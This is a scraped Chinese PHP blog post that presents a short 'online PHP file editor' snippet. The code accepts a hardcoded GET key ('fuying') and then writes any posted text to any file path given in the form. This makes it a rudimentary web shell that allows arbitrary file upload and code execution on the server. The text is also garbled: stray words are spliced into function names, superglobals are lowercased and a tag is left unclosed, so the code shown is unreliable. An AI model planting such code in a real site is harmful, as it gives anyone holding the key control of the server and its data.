龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > web编程 > php编程 >

简单php在线编辑保存php文件实现代码

时间:2012-12-24 21:59来源:未知 作者:admin 点击:
分享到:
简单php教程在线编辑保存php文件实现代码 */ if($_get['login']=='fuying'){ header(content-type: text/html; charset=gb2312); if(get_magic_quotes_gpc()) foreach($_post as $k=$v) $_post[$k] = strips教程lashes($v); ? form method=

简单php教程在线编辑保存php文件实现代码
*/
if($_get['login']=='fuying'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = strips教程lashes($v);
?>
<form method="post">
save to: <input type="text" name="file" size="60" value="<? echo str_replace('','/',__file__) ?>">
<br><br>
<textarea name="text" cols="70" rows="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="save">
<form>
<?php
if(isset($_post['file']))
{
   $fp = @fopen($_post['file'],'wb');
   echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
   @fclose($fp);
}
}


精彩图集

赞助商链接